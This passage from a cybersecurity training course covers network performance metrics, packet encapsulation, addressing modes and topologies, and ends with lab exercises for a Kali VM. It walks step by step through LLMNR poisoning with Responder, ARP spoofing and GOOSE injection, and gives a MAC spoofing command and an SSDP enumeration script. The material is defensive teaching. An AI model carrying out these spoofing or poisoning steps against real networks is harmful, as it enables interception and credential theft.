C2 traffic blending: Sophisticated attackers design C2 (command and control) communication to blend with baseline traffic. They beacon at irregular intervals, keep bandwidth low, and mimic the size patterns of legitimate traffic (mimicking HTTPS web browsing, for example). Understanding baseline bandwidth is what makes abnormal traffic visible.

OT/ICS critical point: Industrial control networks are engineered for specific, low bandwidth and extremely low latency. A Modbus poll from an HMI to a PLC might transfer only 12 bytes. If that link suddenly shows kilobytes or megabytes of traffic, something is wrong — either an attack is in progress, a misconfigured device is broadcasting, or malware is active. Bandwidth anomalies in OT networks are extremely significant.

5.3 Latency — The Speed of Information

Definition: The time it takes for data to travel from source to destination. Also called round-trip time (RTT) when measuring the time for a packet to travel to a destination and back.

Latency components — where the delay comes from:

Propagation delay:   Physical travel time through the medium
                     Light in fibre: 200,000 km/s (~2/3 speed of light)
                     1000 km distance → ~5ms one-way propagation

Transmission delay:  Time to push all bits of a packet onto the link
                     1500-byte packet on 1 Gbps link = 12,000 bits / 1,000,000,000 bps = 0.012ms

Processing delay:    Time for routers/switches to process the packet header
                     Modern routers: microseconds

Queuing delay:       Time spent waiting in router buffers during congestion
                     Highly variable — the main source of variable latency

Total RTT = 2 × (propagation + transmission + processing) + queuing

Real-world latency examples:

Ping within the same LAN:          < 1ms
Ping to server in same city:       5-15ms
Ping Istanbul to Frankfurt:        ~30ms
Ping Istanbul to New York:         ~100ms
Ping Istanbul to Singapore:        ~180ms
Ping Istanbul to Sydney:           ~280ms
Ping to LEO satellite (Starlink):  20-40ms
Ping to GEO satellite:             ~600ms

Why latency matters to security:

Timing attacks: Cryptographic side-channel attacks often exploit timing variations in cryptographic operations. If an operation takes slightly longer when a certain key bit is 1 vs 0, measuring response times across thousands of requests can reveal the key. TLS implementations are carefully designed to be constant-time for this reason.

Network reconnaissance: Latency measurements reveal network topology. A host with 1ms ping is on the local network. A host with 30ms ping is regional. This tells an attacker whether a target is local infrastructure or remote. Traceroute maps the path, and latency at each hop reveals geographic boundaries.

C2 beaconing detection: Malware that beacons to a C2 server at regular intervals creates a detectable pattern in network timing. Statistical analysis of connection timing can identify beaconing even when the traffic volume and content are normal-looking. This is how network detection tools like Zeek identify malware that evades signature-based detection.

OT/ICS critical point: Real-time industrial control has strict latency requirements. IEC 61850 GOOSE messages (used for protection relay signalling in electrical substations) must be delivered within 4ms. If an attacker can introduce latency on an OT network — through a DoS attack, traffic injection, or network device compromise — the control system's real-time performance degrades. This is a form of cyber-physical attack where a network-level action causes physical consequences.

5.4 Jitter — The Chaos in the Pipe

Definition: The variation in latency over time. Formally, jitter is the standard deviation of packet delay. If some packets take 10ms and others take 50ms, the jitter is high even if the average is acceptable.

Low jitter (stable):
Packet 1: 20ms
Packet 2: 21ms
Packet 3: 19ms
Packet 4: 20ms
Jitter: ~1ms ← Consistent, predictable

High jitter (unstable):
Packet 1: 10ms
Packet 2: 85ms
Packet 3: 12ms
Packet 4: 140ms
Jitter: ~55ms ← Unpredictable, problematic

What causes jitter:

Network congestion (packets queue in router buffers for varying amounts of time)
Different routing paths (packets sometimes take different routes and arrive out of order)
Physical layer interference (Wi-Fi especially, radio frequency interference causes variable retransmissions)
CPU load on network devices

Why jitter matters for security:

VoIP and video — the obvious case: High jitter makes voice and video communication unintelligible. Voice data arrives out of order or with gaps. A jitter buffer compensates by reordering and smoothing, but it adds latency. VoIP over Wi-Fi is particularly susceptible.

Jitter-based DDoS: Some DoS attacks deliberately introduce jitter rather than dropping traffic. The connection stays up but becomes unusable. This is harder to detect than packet loss because the link appears operational.

Network forensics: Unusual jitter patterns can indicate active attacks. A man-in-the-middle attack introduces processing delay at the intercept point. An attacker modifying packets in transit adds a small but measurable delay. High-resolution packet capture timing analysis can detect these anomalies — this is one of the techniques used in intrusion detection at the network level.

OT critical: PROFINET, EtherNet/IP, and other industrial Ethernet protocols have jitter requirements measured in microseconds. High jitter on an OT network causes missed control cycles, which manifests as physical process instability. A targeted jitter-inducing attack on an industrial network can cause a controlled process to become erratic or fail without any obviously "malicious" network traffic.

5.5 Measuring Performance — The Tools

# Measure latency — ICMP ping
ping -c 10 8.8.8.8          # 10 packets to Google DNS
# Output shows: min/avg/max/stddev — that stddev IS jitter

# Measure path latency — traceroute
traceroute -n 8.8.8.8       # -n = no DNS resolution (faster)
# Each hop shows latency — latency that jumps suddenly indicates congestion point

# Measure bandwidth — iperf3 (requires server at destination)
# On server:
iperf3 -s
# On client:
iperf3 -c server_ip -t 30   # 30-second bandwidth test
iperf3 -c server_ip -u -b 100M  # UDP test at 100 Mbps (tests jitter too)

# Monitor real-time bandwidth per interface
iftop                        # Interactive bandwidth monitor per connection
nethogs                      # Bandwidth per process
bmon                         # Interface bandwidth statistics

# Measure DNS latency
dig @8.8.8.8 google.com      # Query specific DNS server
# Look for "Query time:" in output

6. Packets and Frames — How Data Travels

6.1 The Encapsulation Model

Data does not travel across networks as a single, continuous stream. It is broken into discrete units and wrapped in layers of headers — this is called encapsulation. Each layer adds its own header (and sometimes trailer) containing information relevant to that layer's function.

Understanding encapsulation is not academic — every time you analyse a packet capture in Wireshark, you are looking at these layers. Every time you write a network detection rule, you specify which layer and which field you are inspecting. Every network attack targets specific fields in specific headers.

Application layer produces: "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"

Transport layer adds TCP header:
[Source Port: 54321 | Dest Port: 80 | Seq: 100 | Ack: 0 | Flags: SYN | ...]
[Application Data: GET / HTTP/1.1...]
→ This unit is called a SEGMENT

Network layer adds IP header:
[Version: 4 | IHL | TOS | Total Length | ID | Flags | TTL: 64 | Proto: 6 | Checksum | Src: 192.168.1.5 | Dst: 93.184.216.34]
[TCP Segment]
→ This unit is called a PACKET

Data Link layer adds Ethernet header + trailer:
[Dst MAC: AA:BB:CC:DD:EE:FF | Src MAC: 11:22:33:44:55:66 | EtherType: 0x0800]
[IP Packet]
[FCS Trailer: checksum]
→ This unit is called a FRAME

The terminology matters:

Frame — Layer 2 unit, contains MAC addresses, travels between adjacent network nodes
Packet — Layer 3 unit, contains IP addresses, routed across networks
Segment (TCP) / Datagram (UDP) — Layer 4 unit, contains port numbers, addresses applications

6.2 Frames — The Layer 2 Unit

A frame is the unit of data at the Data Link layer. It contains everything needed to move data between two directly connected devices on the same network segment.

Ethernet Frame Structure:

┌───────────────────────────────────────────────────────────────────────┐
│ Preamble │ Dest MAC │ Src MAC │ EtherType │ Payload (46-1500 bytes) │ FCS │
│  7 bytes │ 6 bytes  │ 6 bytes │  2 bytes  │                         │ 4B  │
└───────────────────────────────────────────────────────────────────────┘

Preamble: 7 bytes of alternating 1s and 0s to synchronise receiver clock
Dest MAC: 6-byte MAC address of destination (or FF:FF:FF:FF:FF:FF for broadcast)
Src MAC:  6-byte MAC address of sender
EtherType: What protocol is in the payload (0x0800=IPv4, 0x0806=ARP, 0x86DD=IPv6)
Payload:  The IP packet (or ARP message, etc.)
FCS:      Frame Check Sequence — CRC32 checksum to detect transmission errors

Maximum Transmission Unit (MTU):
The MTU is the maximum payload size a frame can carry. Standard Ethernet MTU is 1500 bytes. This is why packets larger than 1500 bytes must be fragmented — split into multiple packets that are individually framed.

Jumbo frames (up to 9000 bytes payload) are used in data centre environments for performance — fewer frames = less header overhead = more efficient bandwidth use.

Security implication of MTU:
IP fragmentation is a classic attack vector. Fragmentation offsets in IP headers can be crafted to:

Evade intrusion detection systems that only inspect the first fragment
Cause denial of service through fragment buffer exhaustion (Teardrop attack)
Bypass firewall rules that do not reassemble fragments before inspection

Modern firewalls perform fragment reassembly before inspection, but legacy systems and some embedded OT devices still don't.

MAC Addresses — 48 bits of identity:

MAC address: AA:BB:CC:DD:EE:FF
             ─────────────── ──────────
             OUI (24 bits)   Device ID (24 bits)
             Manufacturer    Specific device

OUI examples:
00:50:56 → VMware
00:0C:29 → VMware (alternative)
3C:22:FB → Apple
DC:A6:32 → Raspberry Pi
00:1A:11 → Google

MAC addresses in security:

MAC addresses are only meaningful within the same Layer 2 network segment — they are replaced at each router hop
MAC address spoofing is trivial: ip link set eth0 address AA:BB:CC:DD:EE:FF
MAC filtering on Wi-Fi networks provides essentially no security — attackers sniff the network, identify an allowed MAC, and spoof it
MAC addresses are used for device tracking in Wi-Fi networks — modern operating systems randomise MAC addresses for probe requests specifically to prevent this
In forensics, MAC addresses in captured traffic reveal manufacturer and sometimes device model, which is useful for asset identification

6.3 Packets — The Layer 3 Unit

A packet is the unit of data at the Network layer. It contains the addressing information needed to route data across multiple networks.

IPv4 Packet Header:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
├─────────┬─────────┬──────────────────┬──────────────────────────┤
│ Version │   IHL   │ Type of Service  │       Total Length       │
│  4 bits │  4 bits │     8 bits       │         16 bits          │
├────────────────────┬───┬───┬─────────┴──────────────────────────┤
│   Identification   │ R │DF │MF│      Fragment Offset            │
│      16 bits       │   │   │  │          13 bits                │
├────────────────────┴───┴───┴─┬──────────────┬───────────────────┤
│   Time to Live (TTL)         │   Protocol   │  Header Checksum  │
│         8 bits               │    8 bits    │     16 bits       │
├──────────────────────────────┴──────────────┴───────────────────┤
│                    Source IP Address (32 bits)                   │
├─────────────────────────────────────────────────────────────────┤
│                  Destination IP Address (32 bits)               │
├─────────────────────────────────────────────────────────────────┤
│                    Options (variable) + Padding                  │
├─────────────────────────────────────────────────────────────────┤
│                    Data (payload)                                │
└─────────────────────────────────────────────────────────────────┘

Critical fields for security:

TTL (Time to Live):
Each router that forwards a packet decrements TTL by 1. When TTL reaches 0, the packet is dropped and an ICMP "Time Exceeded" message is sent back to the sender. This prevents packets from circulating forever on misconfigured networks.

TTL fingerprinting: Different operating systems start with different default TTLs:

Linux:   64
Windows: 128
Cisco:   255
macOS:   64

If you receive a packet with TTL=115, and Windows starts at 128:
128 - 115 = 13 hops away, likely a Windows machine
This is used in OS fingerprinting — nmap uses TTL as one signal

Protocol field:
Identifies the Layer 4 protocol: 6 = TCP, 17 = UDP, 1 = ICMP, 89 = OSPF, 50 = ESP (IPSec), 51 = AH (IPSec).

IP Spoofing:
The source IP field in a packet is set by the sender. There is no built-in verification. An attacker can craft packets with any source IP — this is IP spoofing. Limitations:

Replies go to the spoofed address, not the attacker — so TCP (which requires a handshake) is generally not useful with spoofed IPs
UDP-based attacks can use spoofed IPs effectively — amplification DDoS attacks (DNS amplification, NTP amplification) work exactly this way
BCP38 (network ingress filtering) is an ISP-level best practice that drops packets with source IPs that are not routable from the customer's network — but not all ISPs implement it

6.4 Why Encapsulation Creates Security Complexity

Each encapsulation layer has its own header that can be:

Inspected — for analysis, detection, and filtering
Manipulated — for spoofing, evasion, and attack
Tunnelled — one protocol can carry another (GRE tunnels IP, IP-in-IP, DNS tunnelling carries any data in DNS queries)

Tunnel within tunnel attacks bypass security controls by hiding inner protocol traffic:

Legitimate: [Ethernet][IP][TCP][HTTP][Payload]
Tunnelled:  [Ethernet][IP][UDP][DNS][Encoded C2 commands]

DNS is allowed through most firewalls.
An attacker who encodes C2 traffic as DNS queries bypasses firewall rules
that block direct TCP connections to attacker infrastructure.

This is why deep packet inspection (DPI) — which inspects all layers, including decrypting and inspecting TLS traffic — is a feature of modern security appliances. Perimeter security that only looks at IP addresses and ports is fundamentally blind to a significant portion of modern attack techniques.

7. Unicast, Multicast, Broadcast — Addressing Modes

7.1 The Fundamental Question: Who Receives This?

When a device sends data on a network, the addressing mode determines who receives it. This has direct security implications — some attacks work by abusing these addressing modes.

7.2 Unicast — One to One

[Device A] ──────────────────────────────→ [Device B]
           (Only Device B receives this)

Example: Your browser loading a web page
         192.168.1.5 → 93.184.216.34 (example.com)

Unicast is the dominant mode for all normal application traffic — web, email, file transfer, SSH, video calls. The destination is a single specific device identified by its MAC address (Layer 2) or IP address (Layer 3).

Security characteristics:

Unicast traffic is "private" in the sense that only the intended recipient's NIC is supposed to process it
But: On shared media (Wi-Fi, old hub-based networks), all devices receive all frames — NICs normally discard frames not addressed to them
Promiscuous mode: A NIC can be configured to capture ALL frames, not just those addressed to it. This is how packet sniffers (Wireshark, tcpdump) work. On a Wi-Fi network, anyone nearby with a card in monitor mode can capture your unicast traffic. On a switched Ethernet network, this requires ARP poisoning to redirect traffic through the attacker.

7.3 Broadcast — One to All

[Device A] ──────────────────────────────→ [Device B]
                                         → [Device C]
                                         → [Device D]
                                         → [ALL devices in the broadcast domain]

Layer 2 Broadcast: Destination MAC = FF:FF:FF:FF:FF:FF. Every device on the same Layer 2 segment receives and processes this frame.

Layer 3 Broadcast: Destination IP = 255.255.255.255 (limited broadcast, stays on local subnet) or 192.168.1.255 (directed broadcast for 192.168.1.0/24 subnet).

Protocols that use broadcast:

ARP (Address Resolution Protocol): "Who has IP 192.168.1.1? Tell 192.168.1.5" — broadcast because the destination MAC is not yet known
DHCP Discovery: "I need an IP address" — broadcast because the client doesn't know the DHCP server's address
NetBIOS Name Service: Legacy Windows name resolution — this is what LLMNR/NBT-NS poisoning attacks target
OSPF Hello packets: Routing protocol neighbour discovery

Broadcast domains:
Every Layer 2 network segment is a broadcast domain — all devices in it receive all broadcasts. Routers do NOT forward broadcasts — they create boundaries between broadcast domains. This is why segmenting a large flat network with VLANs reduces broadcast traffic and limits the scope of broadcast-based attacks.

Security attacks leveraging broadcast:

LLMNR/NBT-NS Poisoning (Responder):
This is one of the most common and effective attacks in Active Directory environments, and it exploits broadcast-based name resolution.

Attack sequence:
1. User types: \\fileserver (but mistyped — server doesn't exist)
2. Windows tries: DNS → fails
3. Windows tries: LLMNR broadcast → "Who is 'fileserver'?"
4. All machines on the subnet receive this broadcast
5. Attacker's machine (running Responder) answers: "I am fileserver!"
6. Windows sends NTLM authentication to attacker
7. Attacker captures NTLMv2 hash
8. Hash cracked offline or used in relay attack

This requires NO prior access — just being on the same network segment.
This is why guest Wi-Fi must be isolated from corporate networks.
LLMNR and NBT-NS should be disabled in secure environments.

Smurf Attack (historical but important):
Send ICMP echo requests with spoofed source IP (victim's IP) to network broadcast address. All devices on the network reply to the victim. Amplification ratio = number of hosts on network.

ARP Spoofing/Poisoning (uses broadcast):

1. Attacker broadcasts ARP reply: "192.168.1.1 (gateway) is at MY_MAC"
2. All devices update their ARP cache with the false mapping
3. Traffic destined for the gateway now goes to attacker
4. Attacker forwards traffic to real gateway (transparent MITM)
5. Attacker can read, modify, or drop all traffic

Tools: arpspoof (dsniff), ettercap, Bettercap
Detection: Static ARP entries, ARP inspection on switches, anomaly detection

7.4 Multicast — One to Many (Specific Group)

[Device A] ──────────────────────────────→ [Device B]  ← subscribed
                                         → [Device D]  ← subscribed
                                           [Device C]  ← NOT subscribed (ignores)
                                           [Device E]  ← NOT subscribed (ignores)

Multicast sends to a specific group of interested recipients — not all devices, not just one. Devices must subscribe to multicast groups to receive them.

Multicast addresses:

Layer 3: IPv4 Class D range: 224.0.0.0 to 239.255.255.255
Layer 2: MAC addresses starting with 01:00:5E (IPv4 multicast) or 33:33 (IPv6 multicast)

Protocols using multicast:

OSPF: 224.0.0.5 (all OSPF routers) and 224.0.0.6 (OSPF designated routers)
EIGRP: 224.0.0.10
PIM (Protocol Independent Multicast): Routing protocol for multicast traffic
mDNS (Multicast DNS): 224.0.0.251 — used by Apple Bonjour, Chromecast, network printer discovery
SSDP (Simple Service Discovery Protocol): 239.255.255.250 — used by UPnP
Video streaming: Live video distributed to multiple subscribers simultaneously
IEC 61850 GOOSE messages: In electrical substations, GOOSE (Generic Object Oriented Substation Event) uses Ethernet multicast to distribute protection relay status to multiple subscribing devices

Security relevance of multicast:

mDNS and SSDP — Information Leakage:
mDNS and SSDP broadcasts reveal significant information about the network — device names, services, software versions. Attackers use tools like avahi-browse and miranda (UPnP exploitation) to enumerate these.

# Discover mDNS services on network (passive — just listen)
avahi-browse -a -t

# Discover SSDP services (UPnP)
python3 -c "
import socket, time
msg = 'M-SEARCH * HTTP/1.1\r\nHOST:239.255.255.250:1900\r\nST:ssdp:all\r\nMAN:\"ssdp:discover\"\r\nMX:1\r\n\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(msg.encode(), ('239.255.255.250', 1900))
s.settimeout(3)
while True:
    try: print(s.recvfrom(1024)[0].decode())
    except: break
"

IEC 61850 GOOSE — OT Attack Surface:
GOOSE messages carry protection relay signals in electrical substations. They use multicast with no authentication in the basic standard. An attacker on the substation LAN can:

Inject spoofed GOOSE messages to trigger protection relay operations
Suppress legitimate GOOSE messages (blocking relay operation during a fault)
Replay captured GOOSE messages

This is a real, demonstrated attack capability against electrical infrastructure. Stuxnet-era research showed that substation LAN access combined with GOOSE injection could cause breaker misoperation.

7.5 Anycast — One to Nearest (Bonus Topic)

Anycast is a routing technique where the same IP address is announced from multiple physical locations. Traffic is routed to the topologically nearest instance.

Same IP: 1.1.1.1 (Cloudflare DNS)
Announcement from: London, Frankfurt, New York, Singapore, São Paulo...
Your packet always routes to the nearest one automatically

Benefits:
- Automatic geographic load balancing
- DDoS resilience (attack traffic is distributed across all anycast nodes)
- Reduced latency (nearest node serves you)

Anycast is how major DNS providers (Cloudflare 1.1.1.1, Google 8.8.8.8), CDNs, and DDoS mitigation services work at global scale. Understanding anycast explains why a DDoS against 1.1.1.1 is much harder than DDoS against a single-server DNS — you would have to simultaneously overwhelm hundreds of geographically distributed nodes.

8. Network Topologies and Their Security Implications

This section is not in the original module outline but is essential for security professionals — network topology directly determines attack paths, blast radius of a compromise, and the effectiveness of security controls.

8.1 Physical vs Logical Topology

Physical topology: How devices are physically connected — cables, switches, their physical locations.

Logical topology: How data flows — the paths packets actually take, which may differ from physical connections (VLANs create logical separation on the same physical infrastructure).

Security operates primarily at the logical topology level — VLANs, routing policies, and firewall rules shape logical topology. But physical topology matters too — an attacker with physical access to a network cable or switch port can bypass all logical security controls.

8.2 Common Topologies and Their Security Profiles

Star Topology (Dominant in modern LANs):

        [Switch]
       /   |   \
  [PC1] [PC2] [PC3]

All devices connect to a central switch. The switch is a critical point of failure and control. Compromise the switch → control all traffic. Most enterprise LANs use hierarchical star (access → distribution → core).

Bus Topology (Historical, still relevant in OT):

[PC1]---[PC2]---[PC3]---[PC4]
         (shared medium)

All devices share a single communication medium. Any device can hear all traffic. Collision domains. This topology is still used in some industrial fieldbus systems (Modbus RTU on RS-485, CAN bus in automotive/industrial). A single compromised device can disrupt all communication.

Ring Topology (Industrial networks):

[PLC1] → [PLC2] → [Switch] → [HMI]
  ↑                              ↓
[IED] ← [Relay] ← [RTU] ← [Historian]

PROFIBUS, some IEC 61850 implementations, and industrial Ethernet with ring redundancy (RSTP/MRP) use ring topologies. Ring networks have high availability (two paths), but ring protocols (like RSTP) have been attacked — STP attacks can force topology recalculation and cause temporary outages.

Mesh Topology (WAN, Wi-Fi mesh):

[A] ←→ [B]
 ↕  ✕   ↕
[C] ←→ [D]

Every node connects to multiple others. Extremely redundant. The internet uses a form of mesh topology at the WAN level. Wi-Fi mesh networks use this for coverage. Hard to completely sever connectivity but provides multiple attack paths.

9. The Security Mindset on Networks

9.1 Every Network Is Hostile Until Proven Otherwise

The security principle underlying modern network design: assume compromise. A device on the network might be:

An attacker's laptop they physically plugged in
A legitimate device that has been compromised by malware
A legitimate device being used maliciously by an insider
A legitimate device with misconfigured settings

Network security controls must function correctly even when some network participants are actively adversarial. This is the foundation of the Zero Trust model.

9.2 The Network Knows Everything

Every packet that crosses a network is a piece of evidence. Network forensics — capturing and analysing network traffic — can reconstruct:

What sites a user visited (from DNS queries and HTTP traffic)
What files were transferred (from FTP, SMB, HTTP traffic)
What commands were executed (from SSH session data, RDP session data)
What credentials were used (from Kerberos tickets, NTLM challenges, plaintext protocols)
What malware was present (from C2 beaconing patterns, known malware signatures)
The timeline of an attack (from connection timestamps)

This works for defenders reading attacker traffic. It also works for attackers reading network traffic on a network they have access to.

9.3 The Core Attacker's Perspective on Networks

When an attacker gains a foothold on a network (initial access), their first questions are:

What network am I on? What is the subnet? (IP address, subnet mask)
What else is on this network? (ARP table, ping sweep, port scan)
Where does this network connect to? (Default gateway, routing table)
What services are running? (Port scan of discovered hosts)
Can I reach other network segments? (Route table, probing other subnets)
Is traffic being monitored? (IDS/IPS detection, response time to connection attempts)
What protocols are in use? (Passive traffic analysis)

Each of these questions maps directly to network concepts. Understanding networks from first principles means you can think through both sides of this — what the attacker sees and how to detect it.

10. Hands-On Exercises

Exercise 1: Map Your Network (30 minutes)

# On your Kali VM:

# 1. Determine your current network configuration
ip addr                              # Your IP and subnet
ip route                             # Default gateway and routing table
cat /etc/resolv.conf                 # DNS servers

# 2. Identify your broadcast domain
# If you are 192.168.1.50/24, your network is 192.168.1.0/24
# Broadcast is 192.168.1.255

# 3. Discover live hosts (ARP-based, Layer 2, no firewall evasion needed for local)
sudo arp-scan --localnet
# Or:
sudo nmap -sn 192.168.1.0/24        # Ping scan of entire subnet
# Record: how many hosts? What IPs?

# 4. Check ARP cache — who has communicated recently?
arp -a
ip neigh show

# 5. Measure latency to various destinations
ping -c 5 192.168.1.1               # Your gateway
ping -c 5 8.8.8.8                   # Google DNS (measure internet latency)
ping -c 5 1.1.1.1                   # Cloudflare DNS

# 6. Trace the path to a destination
traceroute -n 8.8.8.8               # Map the route
# Count hops, note where latency jumps — that jump indicates a geographic boundary

# 7. Capture raw traffic with tcpdump
sudo tcpdump -i eth0 -c 50 -n       # Capture 50 packets, no DNS resolution
sudo tcpdump -i eth0 broadcast      # Only broadcast traffic
# Observe: what protocols are using broadcast?

Exercise 2: Broadcast Traffic Analysis (45 minutes)

# Capture and analyse broadcast traffic to understand what your network reveals

# 1. Capture all broadcast traffic for 60 seconds
sudo tcpdump -i eth0 -w /tmp/broadcast.pcap \
    'ether dst ff:ff:ff:ff:ff:ff or ip dst 255.255.255.255' &
sleep 60
kill %1

# 2. Analyse in Wireshark
wireshark /tmp/broadcast.pcap

# Questions to answer:
# - What protocols are using broadcast?
# - What device information is revealed by the broadcasts?
# - Can you identify device types from MAC OUIs?
# - What LLMNR/mDNS queries are visible (if any)?
# - What ARP traffic do you see?

# 3. Run Responder in analyse mode (no poisoning — observe only)
sudo responder -I eth0 -A           # -A = analyse mode only, no responses
# What name resolution broadcasts appear?
# This shows you what Responder would capture in an active attack

Exercise 3: Packet Structure Deep Dive (1 hour)

# Capture and manually dissect packets to understand encapsulation

# 1. Capture HTTP traffic
sudo tcpdump -i eth0 -w /tmp/http.pcap port 80

# In another terminal, generate HTTP traffic:
curl http://neverssl.com

# 2. Open in Wireshark and examine:
wireshark /tmp/http.pcap

# For each packet, expand every layer:
# - Ethernet II header: source/dest MAC, EtherType
# - IPv4 header: source/dest IP, TTL, Protocol, fragmentation fields
# - TCP header: source/dest port, sequence/ack numbers, flags, window size
# - HTTP: method, URI, headers, body

# 3. Find the TCP handshake (SYN, SYN-ACK, ACK)
# Right-click → Follow → TCP Stream to see the entire conversation

# 4. Check the TTL to fingerprint the remote OS
# Filter: ip.dst == your_ip
# Look at TTL of incoming packets — 64=Linux/Mac, 128=Windows, 255=Cisco

# 5. Capture ICMP (ping) and observe packet structure
ping -c 3 8.8.8.8 &
sudo tcpdump -i eth0 -w /tmp/icmp.pcap icmp
wireshark /tmp/icmp.pcap
# Observe ICMP echo request vs echo reply, sequence numbers, TTL

Exercise 4: Bandwidth and Latency Measurement (30 minutes)

# Measure actual network performance metrics

# 1. Latency + jitter measurement
ping -c 100 8.8.8.8
# From the summary line, note: min/avg/max/stddev
# stddev IS jitter — how variable is the latency?

# Compare:
ping -c 100 $(ip route | grep default | awk '{print $3}')  # Gateway (LAN)
ping -c 100 8.8.8.8                                          # Internet

# 2. Path latency analysis with traceroute
mtr 8.8.8.8                         # Interactive traceroute with statistics
# Run for 30 seconds, observe:
# - Where does latency jump? (Geographic or ISP boundary)
# - Where is packet loss? (Overloaded router)
# - How consistent is each hop? (Jitter per hop)

# 3. Bandwidth test (if iperf3 server available)
# Run your own: on any Linux machine you can SSH into:
iperf3 -s                            # Start server
# On client:
iperf3 -c server_ip                  # Test TCP throughput
iperf3 -c server_ip -u -b 0         # Test UDP (unlimited — shows max)
iperf3 -c server_ip --bidir         # Bidirectional test

# 4. Python jitter measurement script
python3 << 'PYTHON'
import subprocess, re, statistics

def measure_ping(host, count=20):
    result = subprocess.run(
        ['ping', '-c', str(count), host],
        capture_output=True, text=True
    )
    times = re.findall(r'time=(\d+\.?\d*)', result.stdout)
    times = [float(t) for t in times]
    if times:
        print(f"\nTarget: {host}")
        print(f"Packets: {len(times)}")
        print(f"Min: {min(times):.2f}ms")
        print(f"Max: {max(times):.2f}ms")
        print(f"Avg: {statistics.mean(times):.2f}ms")
        print(f"Jitter (stddev): {statistics.stdev(times):.2f}ms")

measure_ping("192.168.1.1")   # Gateway
measure_ping("8.8.8.8")       # Internet
PYTHON

Exercise 5: Unicast vs Broadcast Capture (30 minutes)

# See the difference between unicast and broadcast at the packet level

# 1. Capture broadcast traffic
sudo tcpdump -i eth0 -n -e 'ether dst ff:ff:ff:ff:ff:ff'
# -e = show link-level (Ethernet) headers including MAC addresses
# Observe: what protocols send to ff:ff:ff:ff:ff:ff?

# 2. Trigger an ARP broadcast manually
# In another terminal:
sudo arping -I eth0 -c 3 192.168.1.1
# Back in tcpdump: observe the ARP who-has broadcast

# 3. Observe multicast traffic
sudo tcpdump -i eth0 -n -e 'ether dst 01:00:5e:00:00:00/ff:ff:ff:00:00:00'
# This filter captures all IPv4 multicast (starts with 01:00:5e)
# What do you see? mDNS? OSPF? SSDP?

# 4. Set NIC to promiscuous mode and observe all traffic
sudo ip link set eth0 promisc on
sudo tcpdump -i eth0 -n -e -c 100  # Capture 100 frames in promisc mode
sudo ip link set eth0 promisc off  # Turn off after exercise
# Observe: are you seeing traffic not addressed to your MAC?
# (On a switched network, probably not — switches only send relevant traffic)
# On Wi-Fi in monitor mode, you would see all traffic

11. Further Reading and Resources

Foundational Papers and RFCs

These are primary sources — the actual specifications that define how these technologies work. Security professionals read RFCs because the attack surface often exists in edge cases of the specification.

RFC 791 — Internet Protocol (IPv4). The original IP specification. Sections on fragmentation are particularly relevant.
RFC 826 — ARP. Remarkably short — read it completely. Understanding the simplicity of ARP makes ARP poisoning obvious.
RFC 1918 — Address Allocation for Private Internets. Defines 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.
RFC 4271 — BGP-4. Understanding BGP is essential for understanding internet-scale routing vulnerabilities.
RFC 4443 — ICMPv6. Understanding ICMP is essential for understanding ping flood, redirect, and other ICMP-based attacks.

Books

"Computer Networks" — Andrew Tanenbaum. The gold standard textbook. Dense but complete. Every network professional should read chapters 1-4.
"Network Security Assessment" — Chris McNab (O'Reilly). Directly applicable to security assessments. Third edition covers modern techniques.
"The Practice of Network Security Monitoring" — Richard Bejtlich. How to build a network security monitoring programme using open-source tools. Practical and excellent.
"Silence on the Wire" — Michal Zalewski. A unique perspective on network security — passive eavesdropping, timing attacks, and the information leaked by network traffic. Essential reading.

Tools to Install and Master

# These are the core network analysis tools for this stage
sudo apt install -y \
    wireshark \          # GUI packet analyser — the primary tool
    tshark \             # Command-line Wireshark
    tcpdump \            # CLI packet capture — lighter than Wireshark
    nmap \               # Network mapper — port scanning, OS detection
    netcat \             # Network Swiss Army knife (nc)
    iperf3 \             # Bandwidth measurement
    mtr \                # Enhanced traceroute with statistics
    arp-scan \           # ARP-based host discovery
    netdiscover \        # Passive network discovery
    responder \          # LLMNR/NBT-NS poisoner (Kali includes this)
    wireshark-doc        # Wireshark documentation

# Python libraries for network work
pip3 install scapy       # Packet crafting and analysis — the key Python network library
pip3 install dpkt        # Fast packet parsing

Online Resources

Wireshark sample captures — wiki.wireshark.org/SampleCaptures — practice packet analysis with real-world captures of every protocol
PacketLife.net cheat sheets — protocol header reference cards, excellent for quick lookup
IANA Protocol Registry — iana.org — authoritative source for protocol numbers, port assignments
Shodan.io — search engine for internet-connected devices — gives you a real sense of what is exposed on the internet
BGP Hurricane Electric — bgp.he.net — visualise BGP routing, autonomous system information
The Cloudflare Blog — blog.cloudflare.com — high-quality technical articles on network attacks, DDoS, BGP, DNS

Practice Platforms

TryHackMe — "Pre-Security" path — covers networking fundamentals interactively
Wireshark Challenges — on CyberDefenders.org and other blue team platforms
PacketCafe — cloud-based packet analysis practice
CTFtime.org — "network" category — real CTF challenges involving packet analysis

Module Summary

Concept	Security Application
Network fundamentals	Why networks are the attack surface and the evidence trail
PAN (Bluetooth/NFC/Zigbee)	BlueBorne, NFC relay, Zigbee key capture — proximity attacks
LAN	Primary attack environment — ARP poisoning, MITM, lateral movement, AD attacks
MAN	City-scale infrastructure attacks, utility network targeting
WAN/Internet	BGP hijacking, routing attacks, internet-scale DDoS
Bandwidth	DDoS characterisation, exfiltration detection, C2 traffic analysis
Latency	Timing attacks, network topology mapping, C2 detection via timing
Jitter	OT attack impact, network forensics anomaly detection, DoS characterisation
Frames	ARP poisoning (Layer 2), MAC spoofing, fragmentation attacks, GOOSE injection
Packets	IP spoofing, TTL fingerprinting, fragmentation evasion
Broadcast	LLMNR/NBT-NS poisoning (Responder), Smurf attack, ARP spoofing
Multicast	mDNS/SSDP enumeration, IEC 61850 GOOSE injection, UPnP attacks
Unicast	Promiscuous mode sniffing, switched network eavesdropping
Topology	Attack path analysis, blast radius assessment, segmentation design

Next Module: Stage 1.2 — OSI Model

Previous Stage: Stage 00 — Foundations

Series Index: Full Roadmap

Stage 0.5 — Programming Fundamentals

Rençber AKMAN — Sat, 30 May 2026 13:51:16 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 0 — Computer Science Foundations

Module: 0.5 — Programming Fundamentals

Level: Beginner → Intermediate

Prerequisites: Stage 0.4 — Linux Fundamentals

